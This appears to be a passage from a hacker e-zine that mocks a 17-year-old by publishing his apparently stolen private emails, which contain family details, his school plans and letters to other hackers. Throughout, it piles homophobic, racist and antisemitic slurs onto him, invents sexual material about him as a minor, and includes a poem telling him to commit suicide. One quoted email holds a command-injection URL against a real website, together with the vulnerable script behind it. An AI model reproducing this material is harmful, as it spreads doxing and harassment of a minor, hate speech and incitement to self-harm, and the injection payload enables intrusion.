After 3 hours of listening to the matrix soundtrack and doing donuts in
my driveway I decided to check my 'porn-a-day-by-email-way' and low and
behold I found the unbelieveable. I had the subpeona for unitedshells box.
I fin'd my donut session and decided to take a visit to unitedshells hq.
There I found countless darknet lowlifes and spamming boxes, I seized
a few and started rummaging through them. In bx's inbox I found this!
-~-~-~
h0m0 MEMBERS LIST!?!?!?!
> Begin ultra phucking secret msg...
> SH MSG05.1_
./ \/ /.......h0no organisation
\/\ / .......memb3rz list.....
\\/
w3 kn0W y0U kiDz 0n Z0n3-h(Pr0PZ!)
l0v3 T0 pl4Y p4Zz th3 P4rC3l w1tH
h0mo m3mb3rZ s0 w3 th0UghT w3 w0uLd
sp1Ll th3 b34Nz s0 w3 c4n r3c13v3
s0m3 DdoZ!
CEO.............. bx
SECRATARY........ dvdman (sw4lL0Wz!)
VICEPREZ......... harq
ACCOUNTS......... divineint
PUBLISHING....... so1o
RECREATION....... nolife
ALTEREGOS........ GOBBLES
SUPERHEROS....... r4tman
ENTERTAINMENT.... route
MORNINGWOODCLONE. n3td3v
PACKETINJECTOR... SLY
n0w y0U kn0W wh0 w3 4r3 Pl34Ze Msg uZ
t0 G3t Gr33tZ&&DDoZD!!~! If y0u d0Nt
HaV3 A g00D P4ck3T3r MsG SLY FoR h3lP
ASaP!!!
> ECHO "DORKZ"_
DORKZ
^&"@$&£%!"£^24####.. NO CARRIER
-~-~-~
omg. bx is not missing, he is in h0mo. But what's h0mo? Perhaps the
world shall never have to know... yours in cyberspace, Sh3rl0ck 0wnz.
25.txt-~-~-~ atomix once again
-~-~-~ Atomix : Th1z 1z y0ur L1f3
Hello and welcome to h0no's version of 'Th1z 1z Y0ur L1f3' , the show where we invite a
retard to join us and expose them to the general public.
I'm Bash Histfile of h0no ,ill take you through the show and ill be your guide for the evening.
Today on 'Th1z 1z Y0ur L1f3' we have the epitome of transexuals waiting backstage,we cant wait
to meet him! So without further adieu, start the drum roll and please give a big warm h0no
round of applause to our source of laughter for the evening, please welcome Atomix!
come on out!!
Bash Histfile:
Hi and welcome to Th1z 1z y0ur L1f3 Atomix. Welcome to the show that exposes you for
what you really are. Lets get this show on the road Atomix and talk about you! But first, lets
find out what you've been up to lately?
Atomix:
Well Bash i like to IRC a lot more ever since i got ops in #gaydads4sons #darknet #narqs
#whitehats #shemales. Ive also been building up my small physique by wanking my grandpa off
on mondays, wednesdays and fridays and then drinking a protien shake afterwards.
Bash Histfile:
I hope you keep it up, hahaha. Anyway lets talk about your special life, thats why we're here.
Lets talk about studies. Apparently your a dumbass who cant even graduate from high school.
Instead your taking GED as you wrote in your email below :
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
<honeynet@gmail.com> atomix
To: enroll@stonybrook.edu
enroll@stonybrook.edu
11/09/2004 04:08 cc
PM
Subject: guidance
Please respond to
atomix
<honeynet@gmail.c
om>
- Show quoted text -
I've emailed Stony Brook several times before on various situations. A
lot of the time i havent gotten good responses nor good responses from
my peers. i need some guidance on the following situation and it would
be greatly appreciated if ellaborated thoroughly, im only 17 and had
to have no choice but have the need to take my GED due to
personal/family problems. Below are questions i have. If any other
information on GED acceptance is available, id appreciate the
feedback. Thanks.
1. How would acceptance into Stony Brook work if i have exceptional
scores on a GED as well as on the SAT?
2. Would the need for "High School Credits" apply to me if im a
applicant with GED and SAT scores?
3. If i chose the option to attend a community college until the next
time Stony Brook allows registrations, would transferred credits along
with GED and SAT or ACT scores allow me entrance to the school?
4. I want to attend Stony Brook for the Computer Science major, what
else besides a GED and SAT scores will be required if at all needed?
-- [Name Censored]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Bash Histfile:
Your so stupid that you can't even graduate from high school and that your having to take GED
along with all the other morons, lol @ you. Why couldn't you graduate like normal kids you foul
disaster of human genetics?
Atomix:
The reason was because i spent my time sniffing jockstraps and letting the janitor grope me in
the boys changing rooms, so i forgot to study. Also, i played the lead role in
'Sexy Lolita She-male Slut Bitches On Heat Vol. 9' so it took up a lot of school time.
Bash Histfile:
Fag muwahahahaa. Anyway lets move on. In the following email conversation to your long lost
homosexual turd of a brother you wrote:
From: atomix [mailto:honeynet@gmail.com]
> Sent: Wed 8/11/2004 6:49 PM
> To: Amirian, [Name Censored]
> Cc:
> Subject: [Name Censored], its [Name Censored] (your brother)
>
>
>
> This may seem extremely weird to you, but its kinda the same for me,
> but its [Name Censored]. Basically, your half brother. After a while i was
> just googling around and typed in your name and apparently noticed an
> article on PCWorld Magazine from like 2001-2002 and that wasnt way too
> recent, but i did the search about a few months back. After that i
> tried to see if i can find an email somewhere, did a couple of whois's
> and saw your technical contact and your email. Luckily i did that
> rather than going with intuition and typing "bamirian" rather than
> "amirianb".
>
> Just to kinda prove that this is me and not just some bullshit email,
> heres a few facts or so:
> 1) our dad is [Name Censored] short for [Name Censored]
> 2) my mother is [Name Censored]
> 3) your mom is [Name Censored]
> 4) our brother is [Name Censored] and our nephew is [Name Censored]
>
> So yea... Its a bit weird for me sending this email and stuff, but
> just out of strange curiosity i noticed we had same interests. For all
> i know, its just genetics but. The funny thing was when i read that
> article and noticed you talking bout D/DOS attacks. That Mazu thing is
> pretty cool but cant you just use iptables/ipchains :P?
>
> I dont really wanna keep my hopes up on anything because for all i
> know, your on vacation or something, or you might think this is spam
> or anything like that. I also feel that i might be taking it a bit
> fast here, but heres some things about me currently (basically
> statistics and a short profile of modern me).
>
> Well right now im 17, turned 17 recently on July 2nd. Currently living
> in [Censored] with my mom and [Name Censored](im sure you know who [Name Censored] is).
> My mother finally bailed on dad and im so much happier without him. I
> think from memory you guys had friction somewhere, for all i know, it
> was just things said that stuck in my head, so i dont really know...
> But anyway, hes still the same sickening person (no offense if any
> taken). Im much happier without him... Im in the same building (sadly)
> as the rest of my moms side (how ironic)... of course that includes
> [Name Censored] =P... u gotta remember [Name Censored]. Interests, about the same as
> you, possibly more or less... Im into Unix Programming & Network/Comp
> Security. Not really much of a good guy...
>
> Anyway, if you wanna reply id appreciate it, havent heard from you in
> awhile. Every chance i got to say hi, i couldnt get, but heres my
> chance now in an email.
> ---
> atomix - [Name Censored]
> ------------------------------------------
> PGP Fingerprint: 3421 B667 3A43 01FE 82DD 7B17 6430 3FFF 331D 060A
Bash Histfile:
boo hoo hoo, what a freak show. You forgot to mention 'Cousin it' and 'Uncle Fester'.
Then after a lame reply from your faggot brother you wrote:
To: Amirian, [Name Censored]
> Cc:
atomix to [Name Censored]
Show options Aug 15
Hey [Name Censored], its okay, although i was getting very anxious hehe. I kept
checking gmail like every 2-3 hours to check if you emailed and once i
logged in just a few minutes ago and noticed the replied email between
the Full Disclosure email list emails, i was like "yay". lol.
As you see im happy about this whole thing because even though we're
by blood only half-brothers, i still consider you and [Name Censored]my full
brothers. Ive always wanted normal brothers, but it was impossible
since you guys were older and all i had was [Name Censored], and you know his
situation... Luckily though when i was in Junior High, it was
basically the only time period i had friends my own age. Now that im
17, i just have only 4 friends that ive kept in touch with since
Junior High. The rest of my friends are merely people online from
different countries that i talk to about things on IRC.
Its on feint memories that i have of you back when i used to go over
to Grandma's place. The one that really sticks out in my head, i think
is when you showed that tattoo on your back? I think it was on your
right side. I dont remember, but i think it was Blue. Correct me if im
wrong. I cant recall the image though. You should see [Name Censored] tattoo of
[Name Censored], its cute. When i turn 18, i wanna get one on my back too,
preferably of Tux =P.
I also hate to get into the issue of Dad. Honestly i have no clue at
all what and how it's affected you. Im not sure whether or not there
were any conflicts or anything, nothing like that. But he's really
went down the drain.. Im hoping saying this will not make me seem like
the bearer of bad news or make you get angry/upset or anything. He
just really was mean to me and my mom. I really wont get into "what"
he did as it is kinda graphic, so ill wait when you want me to discuss
it which i doubt...
But anyway, im happy and thats what counts. You emailing me back
boosted up the points for that.
Your job status is amazing though. I didnt expect you to be in that
kinda field. But as we both agree on that it may be the genetics. And
lemme answer some of these questions here, (i like answering
questions).
About the school thing, its best if i talk to you over the phone or in
person about, or a future email, just to get the situation straight,
cause its the kinda story that turns a smile upside down, but dont get
the wrong idea about what i plan on explaining.
I started computers when i was 9. I used to go to the library all the
time on Main st. and sit on the IBM's and make webpages and stuff.
Through then till about 12-13 i was doing Web design, HTML, and PHP to
make just sites for myself. When i hit 14, i started to get into
Linux. It was very interesting for me, new, got away from the pitiful
Windows world into something more customizable and optimizable. It
didnt hit till i was about 15 where i got serious in it, and into the
actual Security type of field. But when i say security, not the kinda
where im learning to help secure other people, more of learning to
secure myself and my linux box, as well as learning how to break into
others.
When i hit 16, i got into hardcore programming, at then i knew about 9
different languages, 2 of which im almost fluent in right now, them
being C, & Assembly. Honestly i only use assembly for the shellcode...
Thats basically the fluent part. But you need to know assembly for
when your debugging and breaking down the binaries, know where the
registers are, the memory spaces, etc. Takes a lot of math and skill.
Ive read so many books and papers/texts on everything involving
programming in C, and Assembly, and Security and everything. Basically
the term "hacking" which nowadays sounds overrated and dumb. You cant
just say to someone "I hack" without getting mocked. Its become a
total disgrace how some people refer to outrageously dumb things as a
Hack. Script kids are being called Hackers. I really stand by all this
as your noticing.
Im sure it would get you a bit angry hearing that, im not sure... But
anyway. Im still learning, and reading. I dont really have a favorite
subject when it comes to the assessment. But ive been getting fond of
CGI vulnerabilities, since theyre basically the easiest to do. Its
just dumb how people get vulnerable to it. The other day, i found a
CGI vulnerability in one of SuSe.de's scripts. Im sure you know what
SuSe is.. I fiddled around with it, and i had emailed the webmaster of
the SuSe.de website including all the sources to their scripts, along
with their box information. Hope i dont get in trouble for that lol.
At least i reported it... It was in their print page script:
http://www.suse.de/cgi-bin/print_page_www.pl?NPSPath=|cat%20/find-permissions-suid-sgid-draht.out|
And of course, they fixed it. This was their bug:
[...]
# get document URl from where the script has been called
# and transform it into the document path
my $path = $q->param('NPSPath');
$path =~ s:/webredesign/htdocs:http\://www.suse.de:;
$base = $path;
$base =~ s/[^\/]+\.html//;
$title = $path;
$path =~ s:http\://www\.suse\.de/:$doc_root:;
[...]
Yea... big no no... From that NPSPath variable, it apparently does not
filter out the | character in which can allow remote command
execution, and boom... im looking at
turing.suse.de. Even the simplest of things can embarass the biggest
of companies.
I went a bit too far into this, but im just explaining what im into at
the moment. Lemme get into the more homey/personal stuff.
[Name Censored] has been fine. But hes a diabetic believe it or not. When we
first found out, were were living in the [Censored] house... We
were all sitting in my moms room then all of a sudden [Name Censored] started
acting weird. His eyes were dull and tired looking, he kept licking
his lips and moving very slow and delerious. He kept pouring juice
into a cup and kept drinking cup after cup and my mom was screaming
getting scared because he wouldnt respond to anything we said. So my
mom calls the ambulance, the day after, we all found out he was
Diabetic, and it triggered in his body after he had Strep throat. His
sugar level was at 1600... Imagine that, 1600 when the normal is about
103. He was some stable condition like a week later. But now hes fine.
Regularly takes in insulin, my mom checks his blood 3+ times a day
ever since.
[Name Censored] has been good. Now that we moved away from Dad, we live across
the hall from each other. [Name Censored] lives with my aunt and cousin [Name Censored]
and her 5 year old daughter [Name Censored]. Its fine. When she dropped out
of high school, she had gone back like a few years ago, and did the
GED thing, she had passed high school. Recently about for a year i
think or a bit less, shes been going to one of those Trade school
kinda things... That Katherine Gibbs thing you see on TV. I myself
would never go to a school advertised on TV... But she had no choice.
And she has a job now as a cashier. Shes 24, she'll be 25 September
6th. By the way, [Name Censored] is 18 now and his birthday is January 24th.
Cant believe your 31. Thats great :P... I hope this email isnt getting
way to long. If you have IRC or AIM maybe you can contact me that way
along with the email. my AIM screen name is "atomix", and on IRC i
usually go to EFnet, and my nick is usually `atomix`, along with the
two " ` ". To make sure its me, my hostname is '@selfis.blackhat.ru'.
Its a bnc hehe... I myself do not like random DDos attacks from
lamers...
Maybe ill call you sometime also. I get extremely embarassed when im
talking on a phone to someone. I couldnt even call my home tutor
sometimes... But yea.
Totally forgot bout the other questions... No dont have a girlfriend,
i have had in the past but they were nothing more than pre-teen puppy
love at the time. I have huge morals nowadays... Im really unlike a
lot of people my age. Theres a lot of people i used to know that have
gotten into drug use, smoking and things like that. I stay away from
that crap. I have some friends who go out to pick up women, im not
into that either. I cant just go pick up some girl and just get to
know her. She has to be interested in what im interested in, or at
least someone i can stand being near and enjoy it. This is probably
why im still a virgin. Not that you needed to hear that...
To finalize this email, i KNEW that you were affiliated to
amirian.com, i was googling you at the time and i was like "wow theres
an amirian.com? wonder if they know [Name Censored]". Thats uncanny right there
;P... Right now its 3:22 PM and im watching the Olympics. Email me
back :D..
-- [Name Censored]
Bash Histfile:
Holy dogshit on toast! what a fucked up life you have indeed. From that email
you mention the desire for "normal" brothers :
"As you see im happy about this whole thing because even though we're
by blood only half-brothers, i still consider you and [Name Censored] my full
brothers. Ive always wanted normal brothers, but it was impossible
since you guys were older and all i had was [Name Censored], and you know his
situation.."
So what was up with [Name Censored], why wasnt he a normal brother? did he have a ball-sack
growing under his arm pit or something?
Atomix:
Erm.. i've wanted brothers for a long time because im tired of wearing my sisters tights and
panties ,moms wig too! i need to borrow some combat pants! Oh and i want brothers because i
cant penetrate [Name Censored] anymore, his anal passage has become gangrenous, so its a no go
zone, kinda like #blackhats on efnet, there aren't any blackhats there.
Bash Histfile:
Hahahaha, you faggot bimbo. Another thing id like to mention from that email is:
"No dont have a girlfriend"
"I have some friends who go out to pick up women, im not into that either"
"I cant just go pick up some girl and just get to know her. She has to be interested in what
im interested in, or atleast someone i can stand being near and enjoy it. This is probably
why im still a virgin"
So let me get this straight, you dont have a girlfriend(lol!), your friends pick up girls but
you can't(LOL!!!) and your a VIRGIN(LOL!?!??!!!?!?!?!)
How many packets of Kleenex have you been through? How can you explain this?
Atomix:
Whats the point of having a girlfriend when i can suck on bx's tits 24/7! his tits are so
big and plump that the milk comes out as powder, yum yum!!.. i also cyber with my leather-bitch
tal0n, i love that strcpy() grep'in manwhore!
Bash Histfile:
Poor Atomix, hasn't had pussy since pussy had him. Anyway, moving on. As we can see you consider
your self to be a whiz with computers. The following email is one you wrote to scut@7350:
To: scut@team-teso.net
From: atomix <atomix@nix.org>
Subject: i have a question scut.
Date: Sun Apr 4 20:14:20 2004
ive really been admiring everything you've accomplished when it comes to programming. i notice
all the time exploits and sniplets of codes, and awsome tools written by you and it makes me
excited to think that i too could accomplish the same feats. i noticed also as i was digging
around google, a banner grabber you wrote with the following comment:
nearly all of this code wouldn't have been possible without w. richard stevens
* excellent network coding book. if you are interested in network coding,
* there is no way around it. wherever you are now, you showed me how to aquire one
* of my best skills, and my programs are the result of your teaching abilities.
i then said to myself, "i really, REALLY have to go get that book". So i searched amazon.com
and i saw 2 books by W. Richard Stevens. they had the same title, and i was wondering which one
was which, or should i get both. heres the url's:
http://www.amazon.com/exec/obidos/tg/detail/-/0139498761/qid=1081104569/sr=8-5/ref=sr_8_xs_ap_
i5_xgl14/104-3503172-0995118?v=glance&s=books&n=507846
http://www.amazon.com/exec/obidos/tg/detail/-/013490012X/qid=1081104569/sr=8-8/ref=sr_8_xs_ap_
i8_xgl14/104-3503172-0995118?v=glance&s=books&n=507846
i right know can code in various different languages. nothing at an advanced point if you dont
count markup languages and web programming languages. i very much fancy coding in C and i
really hope to get advanced to the point where im coding tools and exploits that people will
enjoy, and use and go on irc saying "hey do you have that new exploit by atomix?". i can code
some simple things, but im not at a level where i can code USEFUL things...hehe. it makes me
feel good inside to notice that ive accomplished something awsome because i dont often get that
feeling. i also need to try to force myself to read sometimes because ill tend to procrastinate
or not concentrate enough when i really want to do this. maybe its just my anxiety. anyway,
hope you respond. i would get the two books most definetly if they are different. im not sure
what the difference would be.
- atomix -
Bash Histfile:
Let me help you with this one Atomix. We at h0no got in touch with scut, and he sent us this
reply especially for you via German carrier pigeon:
# cat scut.txt
Dear h0no,
i dont know who the fuck this kid is , but tell the motherfucker to leave me the fuck alone.
Judging by his second name he seems to be jewish , and i a german national, a direct blood
relative of Ad0lf h1tl3r will boil his nigger jew brain faster than nolife sets bans in
#darknet !@!!#!!
Please h0no, leaders of the resistance, tell this freaky bastard Tiny-Tim gaytomix to get off
my nutzsack. Tell him "no, motherfucker you can NEVER be like me", especially when u code
absoloutley pitiful programs like 0x29a-fill.c :
To: submissions@packetstormsecurity.org
From: atomix <atomix@nix.org>
Subject: 0x29a-fill.c
Date: Thu Apr 1 12:06:49 2004
title: 0x29a-fill.c
author: atomix
description: basically a very useless program but in some rare cases,
usesful, will append garbages bytes to any specified file.
============================================================
incase if sent in html, added pre tags:
<pre>
/* 0x29a-fill.c coded by atomix.
* why did i code this? who knows... its just code.
* whats it do? appends garbage characters to a file. basically 'fill' it.
*
* not everything needs a reason. take these codes for instance:
*
* 1. Windows
* 2. Mirc
* 3. AOL
*
* lots of useless code, but people use it anyway!
*
* greets: !tc/!sh crews on #blackhats@efnet, #darknet@efnet, #nixsec@undernet
* and whoever knows me ;P...
*
* flames: itr, hes just some lame packet kid on #main@irc.itr-x.com
*
* contact? atomix@nix.org / atomix@hush.ai
*
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char garbage[] = "àâãäåæçèéêëìíîïñòóôõöùúûüýÿ";
int i,random;
FILE *filename;
if (argc == 3) {
printf("++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf(" 0x29a-fill.c by atomix \n");
printf(" appends garbage bytes to a file \n");
printf("++++++++++++++++++++++++++++++++++++++++++++++++\n\n");
printf("[*] appending to file: %s...\n",argv[2]);
filename = fopen(argv[2],"a");
if(filename == NULL) {
printf("ERROR: Cannot Write To File!\n");
exit(1);
}
for(i=0; i<atoi(argv[1]); i++) {
random = garbage[rand() % strlen(garbage)];
fprintf(filename, "%c", random);
}
fprintf(filename, "\n");
fclose(filename);
printf("[!] appended %d bytes to %s.\n",atoi(argv[1]),argv[2]);
}
else
{
printf("++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf(" 0x29a-fill.c by atomix \n");
printf(" appends garbage bytes to a file \n");
printf("++++++++++++++++++++++++++++++++++++++++++++++++\n\n");
printf("Usage : %s <bytes> <filename>\n",argv[0]);
printf("Example : %s 1024 loser.c\n\n",argv[0]);
}
}
</pre>
Ich Scheibe darauf!! and to top it off he sent it to Packetstorm and they rejected it!!!
Atomix Ich gebe nicht einen ScheiB! ja ja ja ja ja ja ja !!@@!#!!
So , can you please tell this cock head to go back to MSN messenger to continue asking A/S/L to
his faggot friends and to leave me in peace to read 'h0no rux' in the welcome message of
ircsnet. Thank you very much, your 'zine rocks, see you later.
Aufwiederzen
scut
Bash Histfile:
What a polite reply!. Thank you Scut! Another email you sent was to the turkey aka GOBBLES.
We see you slurping feathery cock in your following email to GOBBLES:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
question to teh gobbles
atomix to gobbles
More options Jul 2
are you guys gonna come back with a site? i noticed that immunitysec
dleted /GOBBLES :( /me cries... make a site soon, i love reading
gobbles shit. also wondering if any of you guys plan on attending HOPE
5 in NYC. im not much of a 2600 fan but a con is a con.
:PPpppPPP
- atomix
and no i dont have any affiliation with honeynet ;) i just despise them.
ReplyForward
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Bash Histfile:
Again, just for our pleasure and your lesiure we at h0no managed to track down GOBBLES
and we recieved the following statement:
# cat GOBBLES.txt
"A-TOM-IX IS SO GAY,
I WISH HE WOULD GO AWAY,
WHY DOES'NT HE COMMIT SUICIDE,
OR GET BRUTALLY SODOMIZED,
HIS DADDY BEAT HIM AND HIS MOM,
AND WENT BACK TO WHERE HES FROM,
A-TOM-IX WAS LEFT A MESS,
SO NOW HE WEARS STILLETOS AND A DRESS,
SOMEONE HACKED YOUR BEE-EN-CEE,
ALL YOUR SHELLS AND EMAIL HISTORY,
ITS FUNNY, YOU THINK YOU KNOW SECURITY,
BUT YOU WERE OWNED SO EASILY!
GOODBYE YOU FAG, DONT COME BACK,
HAVE FUN OUT THERE SMOKING CRAQ,
DONT EVEN THINK ABOUT JOINING #PHRACK
A-TOM-IX IS SOOOO WACK!
DIE BITCH DIE!
DIE BITCH DIE!"
- GOBBLES
Bash Histfile:
Gobble that up Atomix! gobble it up like you gobble up tal0ns turnip cock.
Atomix:
:(
Bash Histfile:
Lets move on swiftly Gaytomix er i mean Atomix. Lets talk about narqing and narqs in general. Im pretty
sure the whole scene has the same love for narqs as they do for a sandwich made outta bread thats been drenched
in a rabid dogs semen and stuffed with an elephants dick cheese. I am certain that even narqs hate they're
own low life existence. Just ask b4dp4ck3t.
Heres an email you sent on Sun Apr 18 23:43:32 2004:
To: sales@infinitycomputing.com, webmaster@infinitycomputing.com, root@infinitycomputing.com
From: atomix <atomix@nix.org>
Subject: Malicious User On Your Servers
Date: Sun Apr 18 23:43:32 2004
There has been a malicious user on IRC with a hostname from your iota.infinitycomputing.com server.
The malicious person has intruded your server and their ip has been logged for legal purposes for you.
ool-18e4357a.dyn.optonline.net has address 24.228.53.122
a PsyBNC is visible on Port tcp/31337
Bash Histfile:
Nice narqing techneeq you have empolyed there Atomix, can you recall any other times that you have narq'ed on
unknowing individuals?
Atomix:
Hell yeah! of course. One time i decided to tell the feds the exact location of Adrian Lamo. Lamo was a beast
and I felt like Shimomura when I was tracking him down. Oh, and RaFa, well we were talking in #darknet when he
mentioned that he was gonna take a flight to the US so i pm'ed him and asked him where his flight will land.
I quickly forwarded this info to the FBI by using my momz fone and dialing (202) 324-3000 , FBI'z snitch line.
Infact i wrote to Federal Bureau of Investigation J.Edgar Hoover Building 935 Pennsylvania Avenue NW
Washington,D.C. 20535-0001. I got tal0n to lick the stamp and rode my bicycle all the way to the postbox and
posted it asap. Narqing feels better than sticking my thumb in my butthole, i love it more than my collection
of bx's armpit clippings.
Bash Histfile:
We are glad you like it more than a fat sweaty mans pubic hair , it must be great. Another thing that we
constantly see about you is that you want to prove your self as an accomplished computer wizard. How better
to prove your self than write to phrack.org and show your skills to the whole scene ( we dont mean your table
dancing skills ). Below is what you attempted to submit to phrack.org , im sure it gave them a chuckle when
they recieved your hilarious article and rejected it without a second thought :
To: phrackstaff@phrack.org
From: atomix <atomix@nix.org>
Subject: Phrack Submission
Date: Thu Apr 15 03:34:29 2004
Title: Government Conspiracies: Atomix's Thought's
Author: atomix
Email: atomix AT nix DOT org
atomix AT hush DOT ai
atomix AT seljak DOT org
The United States Government. One of the most hated things in all of the world.
The core of all that is evil. Why? Why is the United States Government such an evil thing?
The question has its sides. It has its pro's and it definetly has its con's. In my eyes,
the government are pure evil. They hide so much. They think that discussing all this so
called "Secret" credentials will ruin mankind as we know it. But how do we really know
what is actually going on. We don't. There are people who know. Those people are the ones
who actually work for the government. For all we know, they are planning something so
great, so secret, so unbelievable, that it will ruin us all. I believe that they are scum.
Hidden things had started since the beginning. The New Mexico Roswell incident. The United
States Government had covered it all up. A weather balloon they say. Right, a weather
balloon. Who would honestly believe this? No matter how odd, or farteched it sounds, they
will say it. Anything to just not state that it actually was the real thing. Its disgusting
what they do. They hide, hide and hide some more. The more they hide, the worst it gets, and
the worse their appearance becomes.
Everyone know's what secrets are hidden. Alien conspiracies, Murders and Assassinations,
Subliminal Messages, Secret Government sattalites in the sky broadcasting images of everything
that goes on in our daily lives, Mile long file cabinets containing every single peice of
data on every single human being in the United States... or it could be worse, every person
in the world as we know it. It isn't impossible. The CIA are the Central Intelligence Agency,
They are the team of agents that go overseas. If they have the power to go oversears like that
to make arrests, stings, eavesdrop, and even spy, what makes you NOT think that they have dirt
on everyone else in this so called free world?
Hackers. Its dangerous being a hacker. We all start out young. There are the kids who
go outside and play with their little friends in the dirty, throwing around dirty footballs,
riding their little bikes with training wheels. Then there are the other side of the kids. The
ones that like to stay home and read books, the ones that prefer going to a local school, university,
or library to play with the computers. Then, as we got older, The little snotty nosed adolescents
become middle teens. The ones that like to fuck around with everyone, bully anyone
they want, drink, smoke, fuck anyone at will and leave their asses on the street. Then there are
the ones that sit home hacking away, drinking coke or red bull. There are those who like to think
they're hackers. Typing away on their little "Dell" or "Compaq" computers thinking their cool
cause they can Mail Bomb you, or crack your screen name with some totally eleet visual basic
coded cracker, or the ones that like to DOS you with their eleet botnets from trojaned windows
computers. Then there are the skilled ones. The ones that actually sit and fucking read the real
shit. They learn how to code in C, C++, ASM, Perl. The programming languages that MAKE the internet.
They learn the workings of everything. They learn how exactly they are connecting to the internet,
the basis of it, What the fuck TCP/IP is. Its easy to overlook the little things that can make you
great. The few that become the elite. The true elite. They are the ones that can go into an IRC
channel, say "Hey Im a Hacker". As stupid as it would look, you'll always see the little moron
talk back to them, "You aint shit you fuckin' kiddie". What exactly do they know. For all they
know, you could be the best hacker in the world. The ones that the Feds would give anything to
lock up. You can sit in that irc channel, and take that disrespect knowing that you actually
are THE SHIT. You are better than anyone in that channel. You learned so much, and have done so
much for the internet. Coding tools. Coding exploits. Releasing advisories. Turning those
lame AOL kiddies into know it alls. And then... You do something that could get you
5 years in jail. A little exploring. Boom, finished. After all that learning. All of the
sharing. One little break in just to prove a small point, and have the decency to actually
tell the victim how. Pathetic.
The United States Government. They are the villians in the situation. They will
hunt us all down. They are the attackers, we are the prey, never ever in a million years will
it be vice versa. But one day, maybe that will change.
I have theories, i have thoughts. I believe that the government has info on everyone.
This very moment, me typing this article, could be logged somewhere. How? Anything is possible.
Ive seen documentaries about the government, how even things that you purchase in your home, a
Mouse, a Television, Or even a little boombox, could have implanted devices such as mini cameras,
microphones, and who knows what else. Believing this should not be an impossibility. People believe
in God. How do you believe in God i wonder? I myself have yet to be lectured on why God exists.
Why? Because your parents tell you? Because some stupid tv show says so? Because the National
Anthem of the United States of America say so? The Country that lies more than any other country
in the world? The country that has more secrets to hide than anyone else in the world? Youre gonna
tell me this? Pfft.
Its conspiracies. I've always watched shows and movies that always described things such
as the guy in the movie that people think is crazy because he claims that a device is implanted
in his head and the FBI, CIA, or SecretService is tracking him remotely. Could this REALLY be
fiction? Compare this to the belief in the existance of God. Could you really doubt that its
possible? I think its very possible.
Aliens. You've seen it on TV all the time. The documentaries on alien abductions. Why
should this be any different. It may seem a bit more different than the situation of a government
conspiracy in a way. But this is just as equal. Ive seen documentary after documentary about
UFO sightings, Alien Autopy's, and other things like this. How can you really doubt this as well?
I see this shit on the discovery channel. THE DISCOVERY CHANNEL. I never see any fiction on the
discovery channel. Have you? I sure havent. Ive seen this on the Sci Fi channel. Oh yes, the Sci
Fi channel. SCI FI - Science Fiction. Yes, but some science fiction is based on fact believe it
or not.
I've had another theory about the sickening United States Government. I believe its been
said before that all data being transmitted throughout the internet. Conversations on AIM, ICQ,
IRC, MSN, HTTP, FTP, POP3, Every protocol you can think of that gets put through the internet,
ALL data, all packet headers and everything.... Gets logged somewhere and filtered out by supercomputers.
I've read that these supercomputers filter out all this text and data for keywords. This is
a bit even more farfetched. But as i said before, Its not an impossibility. The most impossible
thing you can ever think of, may in fact be the most possible thing EVER.
Questions that we all have could be answered. Its all simple. The meaning of life. A question
that could not be answered. My father once said that if you knew the meaning of life, you'd no
doubt, get the Nobel Prize. That was not his exact words, but similar. It would also need to
be proven. Now, that may be an impossibility, proving it. Proof is needed for all facts. How
can that be true? Ill tell you how it cant be true...
Say "Mr. Hacker" was a hacker. He hacked into the Pentagon. He logcleaned everything. He
tunneled his connection. But somehow with one little mistake, they get a tracing of 3 IP addresses.
One of them being his. They take all 3 of those people who's IP's they belong to, including Mr. Hacker.
Now in court, they are all being tried for counts of say....Data Loss of $1.6 million dollars.
Now... they arent sure who it was of the 3. They bring down evidence after evidence. You've seen
this situation before with one person. They dont have enough evidence, but they get that person
in jail anyway somehow. Now imagine this... If it wasn't proven that he was the attacker, and he
goes to jail anyway for 5 years, then how the hell are you gonna tell me that i need proof to
fucking tell you anything. I would not need proof to tell you the meaning of life. I would not
need proof to tell you that aliens existed. I do not need proof to tell you that there is a chip
in my head that is sending information to a Russian space sattelite, i do not need to prove that
millions of websites on the internet are being honeypotted by Government agencies, and i do not
need to prove that what im saying is true. Believe what you want. Not everything needs to be belived
in.... heh, people believe in God.
The supernatural so called being that guards us. The father of all that is life.
The creator of the universe. The creator of life and man. How are you going to actually believe
this? I cant sit here and just say IT doesnt exist. I would be disrespecting some friends of mine
because their "religion" strongly believes in this. Im only making a point here, i mean no
disrespect to you guys, and you know who you are. God. What is God? Just because some book
from a time that The United States didnt even exist tells me that theres a so called God that
exists and is my creator is going to make me believe it? If you can sit there and believe in god
and not believe in Aliens, Government Conspiracies and any other fucked up weird thing in the
world, then you are one crazy ass motherfucker. No offense. But its true. Just because it says
so in a book from the time that so called Jesus Of Nazereth existed, your going to believe it.
How do you know he wasnt just some crazy person? You have no idea what he was like. You have
no idea what he thought or what was going around in his primitive mind. If right now we all
went to a mental institution, and some crazy person told me that I was going to die in 24 hours,
or that there are things implanted in my brain, would you believe it? Of course you wouldnt.
Your standing before him, you know hes crazy, you know he is currently residing in a mental instituon,
because he is fucked up in his head. You are not going to believe him. A pulse triggered in your
head that he is someone NOT to be believed in because he is ill. But, if it was someone from
a time that you didnt existed in wrote a page in a book that got passed over generation after
generation until today, and you read it, your going to believe it. You havent met him. You have
not stepped in his presence, you do not know what he is like, you do not know how any of them
were like. If there was a page in the bible stating that everyone in the world had something
implanted in their brain, there is no fucking doubt in the world that everyone is going to believe
it. This would of course cause global panic, but its just the principal of the thing.
I get very angry at these things. What really angers me is just the government. How they
treat us. How they treat the innocent. How they actually sit there hording money like this. Did
you know that the Government has so much fucking money, that they actually keep it and do nothing
with it? There are people on the street hungry with no homes that sleep in boxes on the fucking
sidewalk with disease and the Government does nothing at all about it when they know that they
have money. Its sick. They have the nerve to actually put a hacker in jail just because he
breaks into a government website. He gets sent to jail for what... lets say a year. But if it
